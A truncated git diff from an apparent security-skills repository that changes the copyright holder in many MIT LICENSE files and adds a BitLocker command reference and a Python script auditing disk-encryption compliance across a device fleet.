100644 --- a/skills/hunting-for-suspicious-scheduled-tasks/LICENSE +++ b/skills/hunting-for-suspicious-scheduled-tasks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-unusual-network-connections/LICENSE b/skills/hunting-for-unusual-network-connections/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-unusual-network-connections/LICENSE +++ b/skills/hunting-for-unusual-network-connections/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-webshell-activity/LICENSE b/skills/hunting-for-webshell-activity/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-webshell-activity/LICENSE +++ b/skills/hunting-for-webshell-activity/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-webshells-in-web-servers/LICENSE b/skills/hunting-for-webshells-in-web-servers/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-webshells-in-web-servers/LICENSE +++ b/skills/hunting-for-webshells-in-web-servers/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-living-off-the-land-binaries/LICENSE b/skills/hunting-living-off-the-land-binaries/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-living-off-the-land-binaries/LICENSE +++ b/skills/hunting-living-off-the-land-binaries/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aes-encryption-for-data-at-rest/LICENSE b/skills/implementing-aes-encryption-for-data-at-rest/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aes-encryption-for-data-at-rest/LICENSE +++ b/skills/implementing-aes-encryption-for-data-at-rest/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-alert-fatigue-reduction/LICENSE b/skills/implementing-alert-fatigue-reduction/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-alert-fatigue-reduction/LICENSE +++ b/skills/implementing-alert-fatigue-reduction/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-anti-phishing-training-program/LICENSE b/skills/implementing-anti-phishing-training-program/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-anti-phishing-training-program/LICENSE +++ b/skills/implementing-anti-phishing-training-program/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE b/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-gateway-security-controls/LICENSE b/skills/implementing-api-gateway-security-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-gateway-security-controls/LICENSE +++ b/skills/implementing-api-gateway-security-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-key-security-controls/LICENSE b/skills/implementing-api-key-security-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-key-security-controls/LICENSE +++ b/skills/implementing-api-key-security-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-rate-limiting-and-throttling/LICENSE b/skills/implementing-api-rate-limiting-and-throttling/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-rate-limiting-and-throttling/LICENSE +++ b/skills/implementing-api-rate-limiting-and-throttling/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-schema-validation-security/LICENSE b/skills/implementing-api-schema-validation-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-schema-validation-security/LICENSE +++ b/skills/implementing-api-schema-validation-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-security-posture-management/LICENSE b/skills/implementing-api-security-posture-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-security-posture-management/LICENSE +++ b/skills/implementing-api-security-posture-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-security-testing-with-42crunch/LICENSE b/skills/implementing-api-security-testing-with-42crunch/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-security-testing-with-42crunch/LICENSE +++ b/skills/implementing-api-security-testing-with-42crunch/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-api-threat-protection-with-apigee/LICENSE b/skills/implementing-api-threat-protection-with-apigee/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-api-threat-protection-with-apigee/LICENSE +++ b/skills/implementing-api-threat-protection-with-apigee/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-application-whitelisting-with-applocker/LICENSE b/skills/implementing-application-whitelisting-with-applocker/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-application-whitelisting-with-applocker/LICENSE +++ b/skills/implementing-application-whitelisting-with-applocker/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aqua-security-for-container-scanning/LICENSE b/skills/implementing-aqua-security-for-container-scanning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aqua-security-for-container-scanning/LICENSE +++ b/skills/implementing-aqua-security-for-container-scanning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE b/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aws-config-rules-for-compliance/LICENSE b/skills/implementing-aws-config-rules-for-compliance/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aws-config-rules-for-compliance/LICENSE +++ b/skills/implementing-aws-config-rules-for-compliance/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aws-iam-permission-boundaries/LICENSE b/skills/implementing-aws-iam-permission-boundaries/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aws-iam-permission-boundaries/LICENSE +++ b/skills/implementing-aws-iam-permission-boundaries/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aws-macie-for-data-classification/LICENSE b/skills/implementing-aws-macie-for-data-classification/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aws-macie-for-data-classification/LICENSE +++ b/skills/implementing-aws-macie-for-data-classification/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aws-security-hub-compliance/LICENSE b/skills/implementing-aws-security-hub-compliance/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aws-security-hub-compliance/LICENSE +++ b/skills/implementing-aws-security-hub-compliance/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-aws-security-hub/LICENSE b/skills/implementing-aws-security-hub/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-aws-security-hub/LICENSE +++ b/skills/implementing-aws-security-hub/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-azure-ad-privileged-identity-management/LICENSE b/skills/implementing-azure-ad-privileged-identity-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-azure-ad-privileged-identity-management/LICENSE +++ b/skills/implementing-azure-ad-privileged-identity-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-azure-defender-for-cloud/LICENSE b/skills/implementing-azure-defender-for-cloud/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-azure-defender-for-cloud/LICENSE +++ b/skills/implementing-azure-defender-for-cloud/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE b/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE +++ b/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-bgp-security-with-rpki/LICENSE b/skills/implementing-bgp-security-with-rpki/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-bgp-security-with-rpki/LICENSE +++ b/skills/implementing-bgp-security-with-rpki/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cisa-zero-trust-maturity-model/LICENSE b/skills/implementing-cisa-zero-trust-maturity-model/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cisa-zero-trust-maturity-model/LICENSE +++ b/skills/implementing-cisa-zero-trust-maturity-model/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-dlp-for-data-protection/LICENSE b/skills/implementing-cloud-dlp-for-data-protection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-dlp-for-data-protection/LICENSE +++ b/skills/implementing-cloud-dlp-for-data-protection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-security-posture-management/LICENSE b/skills/implementing-cloud-security-posture-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-security-posture-management/LICENSE +++ b/skills/implementing-cloud-security-posture-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-trail-log-analysis/LICENSE b/skills/implementing-cloud-trail-log-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-trail-log-analysis/LICENSE +++ b/skills/implementing-cloud-trail-log-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-vulnerability-posture-management/LICENSE b/skills/implementing-cloud-vulnerability-posture-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-vulnerability-posture-management/LICENSE +++ b/skills/implementing-cloud-vulnerability-posture-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-waf-rules/LICENSE b/skills/implementing-cloud-waf-rules/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-waf-rules/LICENSE +++ b/skills/implementing-cloud-waf-rules/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-cloud-workload-protection/LICENSE b/skills/implementing-cloud-workload-protection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-cloud-workload-protection/LICENSE +++ b/skills/implementing-cloud-workload-protection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-code-signing-for-artifacts/LICENSE b/skills/implementing-code-signing-for-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-code-signing-for-artifacts/LICENSE +++ b/skills/implementing-code-signing-for-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-conditional-access-policies-azure-ad/LICENSE b/skills/implementing-conditional-access-policies-azure-ad/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-conditional-access-policies-azure-ad/LICENSE +++ b/skills/implementing-conditional-access-policies-azure-ad/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-conduit-security-for-ot-remote-access/LICENSE b/skills/implementing-conduit-security-for-ot-remote-access/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-conduit-security-for-ot-remote-access/LICENSE +++ b/skills/implementing-conduit-security-for-ot-remote-access/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-container-image-minimal-base-with-distroless/LICENSE b/skills/implementing-container-image-minimal-base-with-distroless/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-container-image-minimal-base-with-distroless/LICENSE +++ b/skills/implementing-container-image-minimal-base-with-distroless/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-continuous-security-validation-with-bas/LICENSE b/skills/implementing-continuous-security-validation-with-bas/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-continuous-security-validation-with-bas/LICENSE +++ b/skills/implementing-continuous-security-validation-with-bas/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE b/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE +++ b/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-delinea-secret-server-for-pam/LICENSE b/skills/implementing-delinea-secret-server-for-pam/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-delinea-secret-server-for-pam/LICENSE +++ b/skills/implementing-delinea-secret-server-for-pam/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE b/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE +++ b/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-diamond-model-analysis/LICENSE b/skills/implementing-diamond-model-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-diamond-model-analysis/LICENSE +++ b/skills/implementing-diamond-model-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-digital-signatures-with-ed25519/LICENSE b/skills/implementing-digital-signatures-with-ed25519/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-digital-signatures-with-ed25519/LICENSE +++ b/skills/implementing-digital-signatures-with-ed25519/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-disk-encryption-with-bitlocker/LICENSE b/skills/implementing-disk-encryption-with-bitlocker/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-disk-encryption-with-bitlocker/LICENSE +++ b/skills/implementing-disk-encryption-with-bitlocker/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md b/skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md new file mode 100644 index 00000000..cbe6448f --- /dev/null +++ b/skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing Disk Encryption with BitLocker + +## manage-bde CLI + +```powershell +# Check status +manage-bde -status C: + +# Enable BitLocker with TPM +manage-bde -on C: -RecoveryPassword -EncryptionMethod AES256 + +# Backup recovery key to AD +manage-bde -protectors -adbackup C: -ID {protector-id} + +# Lock/unlock +manage-bde -lock D: +manage-bde -unlock D: -RecoveryPassword 123456-... +``` + +## PowerShell BitLocker Cmdlets + +```powershell +# Get BitLocker volume +Get-BitLockerVolume -MountPoint "C:" + +# Enable with TPM + PIN +Enable-BitLocker -MountPoint "C:" -EncryptionMethod Aes256 ` + -TpmAndPinProtector -Pin (ConvertTo-SecureString "1234" -AsPlainText -Force) + +# Add recovery password +Add-BitLockerKeyProtector -MountPoint "C:" -RecoveryPasswordProtector + +# Backup to AD +Backup-BitLockerKeyProtector -MountPoint "C:" -KeyProtectorId $id +``` + +## Compliance Checks + +| Check | Severity | Requirement | +|-------|----------|-------------| +| BitLocker enabled | CRITICAL | All OS drives | +| AES-256 encryption | MEDIUM | FIPS/enterprise | +| TPM protector | HIGH | Hardware-backed | +| Recovery key escrowed | HIGH | AD DS or Azure AD | +| Full disk encrypted | MEDIUM | Not used-space only | + +## Microsoft Graph API (Intune) + +```python +import requests +headers = {"Authorization": "Bearer "} +resp = requests.get( + "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" + "?$select=deviceName,isEncrypted", + headers=headers) +``` + +### References + +- BitLocker: https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/ +- BitLocker PowerShell: https://learn.microsoft.com/en-us/powershell/module/bitlocker/ diff --git a/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py b/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py new file mode 100644 index 00000000..3da29b73 --- /dev/null +++ b/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Agent for auditing and managing BitLocker disk encryption across endpoints.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime +from pathlib import Path + + +def get_bitlocker_status(): + """Get BitLocker status on local machine via manage-bde.""" + try: + result = subprocess.run( + ["manage-bde", "-status"], capture_output=True, text=True, timeout=30) + volumes = [] + current = {} + for line in result.stdout.splitlines(): + line = line.strip() + if line.startswith("Volume"): + if current: + volumes.append(current) + current = {"volume": line} + elif ":" in line: + key, _, value = line.partition(":") + current[key.strip()] = value.strip() + if current: + volumes.append(current) + return volumes + except (subprocess.TimeoutExpired, FileNotFoundError): + return [] + + +def parse_bitlocker_report(report_path): + """Parse BitLocker compliance report (CSV or JSON).""" + entries = [] + if report_path.endswith(".json"): + with open(report_path) as f: + entries = json.load(f) + else: + import csv + with open(report_path, newline="", encoding="utf-8-sig") as f: + entries = list(csv.DictReader(f)) + return entries + + +def audit_bitlocker_compliance(devices): + """Audit BitLocker compliance across fleet.""" + findings = [] + for device in devices: + hostname = device.get("hostname", device.get("ComputerName", "")) + protection = device.get("protection_status", device.get("ProtectionStatus", "")) + encryption = device.get("encryption_method", device.get("EncryptionMethod", "")) + key_protector = device.get("key_protector", device.get("KeyProtector", "")) + recovery_key = device.get("recovery_key_escrowed", + device.get("RecoveryKeyEscrowed", "")) + if "off" in str(protection).lower() or protection == "0": + findings.append({ + "hostname": hostname, "issue": "bitlocker_disabled", + "severity": "CRITICAL", + }) + if encryption and "aes" not in str(encryption).lower(): + findings.append({ + "hostname": hostname, "issue": "weak_encryption_method", + "value": encryption, "severity": "HIGH", + }) + if "128" in str(encryption): + findings.append({ + "hostname": hostname, "issue": "aes_128_not_256", + "severity": "MEDIUM", + "recommendation": "Upgrade to AES-256", + }) + if not key_protector or "tpm" not in str(key_protector).lower(): + findings.append({ + "hostname": hostname, "issue": "no_tpm_protector", + "severity": "HIGH", + }) + if str(recovery_key).lower() in ("no", "false", "0", ""): + findings.append({ + "hostname": hostname, "issue": "recovery_key_not_escrowed", + "severity": "HIGH", + "recommendation": "Escrow recovery key to Active Directory", + }) + return findings + + +def generate_gpo_recommendations(): + """Generate Group Policy recommendations for BitLocker.""" + return { + "Computer Configuration": { + "path": "Administrative Templates > Windows Components > BitLocker Drive Encryption", + "settings": [ + {"name": "Choose drive encryption method (OS)", + "value": "AES-256", "policy": "Enabled"}, + {"name": "Require additional authentication at startup", + "value": "Allow BitLocker without compatible TPM: Disabled", + "policy": "Enabled"}, + {"name": "Choose how BitLocker-protected OS drives can be recovered", + "value": "Save to AD DS, Do not enable until stored", + "policy": "Enabled"}, + {"name": "Enforce drive encryption type on OS drives", + "value": "Full encryption", "policy": "Enabled"}, + ], + }, + } + + +def calculate_compliance_metrics(devices, findings): + """Calculate fleet encryption compliance metrics.""" + total = len(devices) + encrypted = total - sum(1 for f in findings if f["issue"] == "bitlocker_disabled") + strong_enc = encrypted - sum(1 for f in findings if f["issue"] in + ("weak_encryption_method", "aes_128_not_256")) + escrowed = total - sum(1 for f in findings if f["issue"] == "recovery_key_not_escrowed") + return { + "total_devices": total, + "encrypted": encrypted, + "encryption_rate": round(encrypted / total * 100, 1) if total else 0, + "strong_encryption": strong_enc, + "recovery_keys_escrowed": escrowed, + "escrow_rate": round(escrowed / total * 100, 1) if total else 0, + } + + +def main(): + parser = argparse.ArgumentParser(description="BitLocker Disk Encryption Agent") + parser.add_argument("--report", help="BitLocker report CSV/JSON") + parser.add_argument("--local", action="store_true", help="Check local machine") + parser.add_argument("--output", default="bitlocker_audit_report.json") + parser.add_argument("--action", choices=["audit", "local", "gpo", "full"], default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("local", "full") and args.local: + status = get_bitlocker_status() + report["findings"]["local_status"] = status + print(f"[+] Local volumes: {len(status)}") + + if args.action in ("audit", "full") and args.report: + devices = parse_bitlocker_report(args.report) + findings = audit_bitlocker_compliance(devices) + metrics = calculate_compliance_metrics(devices, findings) + report["findings"]["compliance_audit"] = findings + report["findings"]["metrics"] = metrics + print(f"[+] Devices: {metrics['total_devices']}, Encrypted: {metrics['encryption_rate']}%") + + if args.action in ("gpo", "full"): + gpo = generate_gpo_recommendations() + report["findings"]["gpo_recommendations"] = gpo + print("[+] GPO recommendations generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-dmarc-dkim-spf-email-security/LICENSE b/skills/implementing-dmarc-dkim-spf-email-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-dmarc-dkim-spf-email-security/LICENSE +++ b/skills/implementing-dmarc-dkim-spf-email-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md b/skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md new file mode 100644 index 00000000..d6a10dde --- 